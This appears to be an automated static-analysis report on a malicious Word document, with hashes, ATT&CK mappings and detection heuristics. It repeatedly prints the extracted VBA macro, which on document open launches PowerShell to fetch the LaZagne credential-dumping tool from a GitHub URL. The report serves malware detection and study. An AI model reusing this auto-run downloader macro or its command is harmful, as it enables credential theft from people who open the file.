Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3aff2f6fde33143b…

MALICIOUS

Office (OOXML)

12.8 KB Created: 2021-05-21 13:13:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2021-05-29
MD5: 979a384cc2be6950b5e2f3c6095656c6 SHA-1: 23eda8cad16a3d80b56ee14f55aef46b61973e7a SHA-256: 3aff2f6fde33143bcb1bb102acdd359564553e43e17893651b3c106d5e01bd4f
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document. This macro utilizes PowerShell to download and execute a file from a known malicious URL. The ClamAV detection 'Doc.Downloader.Pwshell-10001336-0' further confirms the malicious nature of this downloader. The downloaded file is identified as lazagne.exe, a password recovery tool.

Heuristics 7

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      MsgBox "Macro popping Powershell!", vbOKOnly, "game over"
  a = Shell("powershell.exe -noexit -Command ""IWR 'https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe'""", 1)
End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Private Sub Document_Open()
  MsgBox "Macro popping Powershell!", vbOKOnly, "game over"
  a = Shell("powershell.exe -noexit -Command ""IWR 'https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe'""", 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Private Sub Document_Open()
  MsgBox "Macro popping Powershell!", vbOKOnly, "game over"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 575 bytes
SHA-256: 6c60de56d83926de040dd8fe5a2f671ce0ed3b1298e7162168eea541434c7c40
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Sub Document_Open()
  MsgBox "Macro popping Powershell!", vbOKOnly, "game over"
  a = Shell("powershell.exe -noexit -Command ""IWR 'https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe'""", 1)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 8704 bytes
SHA-256: b64cfc0d3a3769abfd1bd51594a8e5d4a8574a32955b5036e32317b00e0b570e
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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